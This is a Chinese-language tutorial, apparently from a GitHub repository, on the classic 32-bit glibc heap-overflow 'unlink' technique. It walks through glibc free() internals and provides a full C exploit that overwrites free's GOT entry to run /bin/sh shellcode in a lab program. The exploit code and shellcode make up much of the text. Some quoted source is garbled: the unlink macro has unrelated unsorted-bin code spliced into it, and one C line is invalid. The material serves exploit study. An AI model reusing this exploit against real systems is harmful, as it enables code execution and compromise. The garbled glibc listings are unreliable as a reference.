Skip to content

Latest commit

 

History

History
413 lines (338 loc) · 13.3 KB

linux-x86-unlink.md

File metadata and controls

413 lines (338 loc) · 13.3 KB

0x00 beginning

这个 post 主要记录学习 32 位 linux 下堆溢出使用的 unlink 技术, 依赖到ptmalloc2那部分的知识, 实验主要取自 1, 更多理论来自 23.

prepare

存在堆溢出的代码

#include <stdlib.h>
#include <string.h>

int main( int argc, char * argv[] )
{
        char * first, * second;

/*[1]*/ first = malloc( 666 );
/*[2]*/ second = malloc( 12 );
        if(argc!=1)
/*[3]*/         strcpy( first, argv[1] );
/*[4]*/ free( first );
/*[5]*/ free( second );
/*[6]*/ return( 0 );
}

代码很容易读懂, 就是从命令行读取第二个参数 (argv[1]) 不加校验复制到缓冲区 first, 如果 argv[1] 所指的字符串大于 666 字节就会在堆空间发生溢出, 具体会覆盖掉下一个chunk header, 这可能会导任意代码执行. 图示内存布局: unlink

0x10 depending

这个技术主要思路是戏弄glibc malloc的内存回收机制, 讲上面内存布局中的second chunkunlink掉, 并且在unlink第二个chunk期间将会覆写 free 函数的 got 表项为 shellcode 的地址! 在成功覆写过后, 在 [5] 调用freeshellcode将会被执行, 看上面操作可以发现其核心就是在unlink操作上.

#define unlink(AV, P, BK, FD) {                                            \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
              if (!in_smallbin_range(size))
	{
	  p->fd_nextsize = NULL;
	  p->bk_nextsize = NULL;
	}
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }
FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (P->size)				      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

如果没有攻击的影响 free 函数进行如下操作

1) 检查 non mmapped chunk

检查non mmapped chunk后进行向前或者向后合并。

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
  /*
    Consolidate other non-mmapped chunks as they arrive.
  */

  else if (!chunk_is_mmapped(p)) {
    if (! have_lock) {
      (void)mutex_lock(&av->mutex);
      locked = 1;
    }

    nextchunk = chunk_at_offset(p, size);

    /* Lightweight tests: check whether the block is already the
       top block.  */
    if (__glibc_unlikely (p == av->top))
      {
	errstr = "double free or corruption (top)";
	goto errout;
      }
    /* Or whether the next chunk is beyond the boundaries of the arena.  */
    if (__builtin_expect (contiguous (av)
			  && (char *) nextchunk
			  >= ((char *) av->top + chunksize(av->top)), 0))
      {
	errstr = "double free or corruption (out)";
	goto errout;
      }
    /* Or whether the block is actually not marked used.  */
    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
	errstr = "double free or corruption (!prev)";
	goto errout;
      }

    nextsize = chunksize(nextchunk);
...    

2) 向后合并

查看 previous chunk 是否处于 free 状态

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
    /* consolidate backward */
    if (!prev_inuse(p)) { // here is
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

如果当前被释放的 chunk 的 P (PREV_INUSE) 位没有被设置,则说明前 chunk 是处于 free。在我们的例子中,previous chunk 自first的 P 位由是被分配出去的,因为 default chunk 前面是堆的最靠前位置被约定为分配的(即使它不存在)。

如果处于 free 状态则合并

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{...
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd); // here is

也就是说,把previous chunk自它的binlist移除,把previous chunk的大小增加到当前的chunk并修改chunk的指针指向previous chunk。因为在我们的例子中previous chunk是被分配出去的,所以unlink没有被触发,这样的话当前的被释放的first不会被向后合并。

3) 向前合并

查看 next chunk 是否处于 free 状态

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
    /* consolidate backward */
    if (!prev_inuse(p)) { // here is
      prevsize = p->prev_size;
      size += prevsize;
      p = chunk_at_offset(p, -((long) prevsize));
      unlink(av, p, bck, fwd);
    }

    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);
      ...

如果下下个chunk的 P 未被置位,则next chunkfree状态。靠导航到下下个chunk,增加当前被释放的chunk的空间到它的chunk指针,然后增加下一个chunk的 size 到下个chunk指针。在我们的例子中下下个chunks是被回收的,first's chunk 是一个top chunk而且它的PREV_INUSE是被置位的,这表明后面的chunk是即 second chunk不是 free 状态。

如果处于 free 状态则合并

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
...
    if (nextchunk != av->top) {
      /* get and clear inuse bit */
      nextinuse = inuse_bit_at_offset(nextchunk, nextsize);

      /* consolidate forward */
      if (!nextinuse) {
	unlink(av, nextchunk, bck, fwd); // here is
	size += nextsize;
      } else
	clear_inuse_bit_at_offset(nextchunk, 0);
    ...

next chunk来自它的binlistnext chunk的空间增加到当前chunk中。在我们的例子中,next chunk是被分配出去的,因此unlink是不会被调用的,这个情况下当前被回收的 first chunk是不会像前合并的。

4) 合并chunkunsorted bin

static void
_int_free (mstate av, mchunkptr p, int have_lock)
{
  INTERNAL_SIZE_T size;        /* its size */
  mfastbinptr *fb;             /* associated fastbin */
  mchunkptr nextchunk;         /* next contiguous chunk */
  INTERNAL_SIZE_T nextsize;    /* its size */
  int nextinuse;               /* true if nextchunk is used */
  INTERNAL_SIZE_T prevsize;    /* size of previous contiguous chunk */
  mchunkptr bck;               /* misc temp for linking */
  mchunkptr fwd;               /* misc temp for linking */
  ...
      /*
	Place the chunk in unsorted chunk list. Chunks are
	not placed into regular bins until after they have
	been given one chance to be used in malloc.
      */

      bck = unsorted_chunks(av);
      fwd = bck->fd;
      if (__glibc_unlikely (fwd->bk != bck))
	{
	  errstr = "free(): corrupted unsorted chunks";
	  goto errout;
	}
      p->fd = fwd;
      p->bk = bck;
      if (!in_smallbin_range(size))
	{
	  p->fd_nextsize = NULL;
	  p->bk_nextsize = NULL;
	}
      bck->fd = p;
      fwd->bk = p;

      set_head(p, size | PREV_INUSE);
      set_foot(p, size);

      check_free_chunk(av, p);
    }
...

在上面的例子中不会有这样的合并发生。

0x20 practice

现在在来看strcpy( first, argv[1] )覆写chunk头部的构造:

prev_size = 是个数字,因此 PREV_INUSE 不会被置位。 size = -4 fd = free address - 12 bk = shellcode address

如果攻击顺利那么 line[4]将会进行下面的操作:

  • non mmapped chunks而言可能有两种合并。
  • 向后合并:
  1. 查看前面previous chunk的 free 状态:
  2. 如果是 free 考虑合并:
  • 向前合并:
  1. 向后查看next chunk的 free 状态:
  2. 如果是 free 考虑合并:

图解示例漏洞程序在构造出来出的数据输入下的内存布局:

unlink

0x21 compilation

$ gcc -g -z norelro -z execstack -o vuln vuln.c -Wl,--rpath=/home/sploitfun/glibc/glibc-inst2.20/lib -Wl,--dynamic-linker=/home/sploitfun/glibc/glibc-inst2.20/lib/ld-linux.so.2

安装上面 shell 提供的命令行提供的参数,可以避免使用默认的安全机制有:NX,RELRO,当然 ASLR 需要手工在操作系统里面暂时关闭。

0x21 exploit

理解了上面 unlink 的技术的本质,开始动手写 exploit。

/* Program to exploit 'vuln' using unlink technique.
 */
#include <string.h>
#include <unistd.h>

#define FUNCTION_POINTER ( 0x0804978c )         //Address of GOT entry for free function obtained using "objdump -R vuln".
#define CODE_ADDRESS ( 0x0804a008 + 0x10 )      //Address of variable 'first' in vuln executable. 

#define VULNERABLE "./vuln"
#define DUMMY 0xdefaced
#define PREV_INUSE 0x1

char shellcode[] =
        /* Jump instruction to jump past 10 bytes. ppssssffff - Of which ffff would be overwritten by unlink function
        (by statement BK->fd = FD). Hence if no jump exists shell code would get corrupted by unlink function. 
        Therefore store the actual shellcode 12 bytes past the beginning of buffer 'first'*/
        "\xeb\x0assppppffff"
        "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80";

int main( void )
{
        char * p;
        char argv1[ 680 + 1 ];
        char * argv[] = { VULNERABLE, argv1, NULL };

        p = argv1;
        /* the fd field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the fd_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* the bk_nextsize field of the first chunk */
        *( (void **)p ) = (void *)( DUMMY );
        p += 4;
        /* Copy the shellcode */
        memcpy( p, shellcode, strlen(shellcode) );
        p += strlen( shellcode );
        /* Padding- 16 bytes for prev_size,size,fd and bk of second chunk. 16 bytes for fd,bk,fd_nextsize,bk_nextsize 
        of first chunk */
        memset( p, 'B', (680 - 4*4) - (4*4 + strlen(shellcode)) );
        p += ( 680 - 4*4 ) - ( 4*4 + strlen(shellcode) );
        /* the prev_size field of the second chunk. Just make sure its an even number ie) its prev_inuse bit is unset */
        *( (size_t *)p ) = (size_t)( DUMMY & ~PREV_INUSE );
        p += 4;
        /* the size field of the second chunk. By setting size to -4, we trick glibc malloc to unlink second chunk.*/
        *( (size_t *)p ) = (size_t)( -4 );
        p += 4;
        /* the fd field of the second chunk. It should point to free - 12. -12 is required since unlink function
        would do + 12 (FD->bk). This helps to overwrite the GOT entry of free with the address we have overwritten in 
        second chunk's bk field (see below) */
        *( (void **)p ) = (void *)( FUNCTION_POINTER - 12 );
        p += 4;
        /* the bk field of the second chunk. It should point to shell code address.*/
        *( (void **)p ) = (void *)( CODE_ADDRESS );
        p += 4;
        /* the terminating NUL character */
        *p = '';

        /* the execution of the vulnerable program */
        execve( argv[0], argv, NULL );
        return( -1 );
}

执行上面的程序,可以看到一个新的 shell spawned!

$ gcc -g -o exp exp.c
./exp 
$ ls
cmd  exp  exp.c  vuln  vuln.c

0x30 protection

如今unlink技术自从glibc提供了GOT加固时就已经过时了!而且在glibc中也增加了对于unlink利用的的检查。

0x31 double free

    if (__glibc_unlikely (!prev_inuse(nextchunk)))
      {
        errstr = "double free or corruption (!prev)";
        goto errout;
      }

0x32 invalid next size

 if (__builtin_expect (nextchunk->size <= 2 * SIZE_SZ, 0)
        || __builtin_expect (nextsize >= av->system_mem, 0))
      {
        errstr = "free(): invalid next size (normal)";
        goto errout;
      }

0x33 Courrupted Double Linked list

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                     
      malloc_printerr (check_action, "corrupted double-linked list", P);

reference

Footnotes

  1. Heap overflow using unlink

  2. Volume 0x0b, Issue 0x39, Phile #0x08 of 0x12

  3. [linux heap internals](../media/attach/Linux Heap Internals.pdf)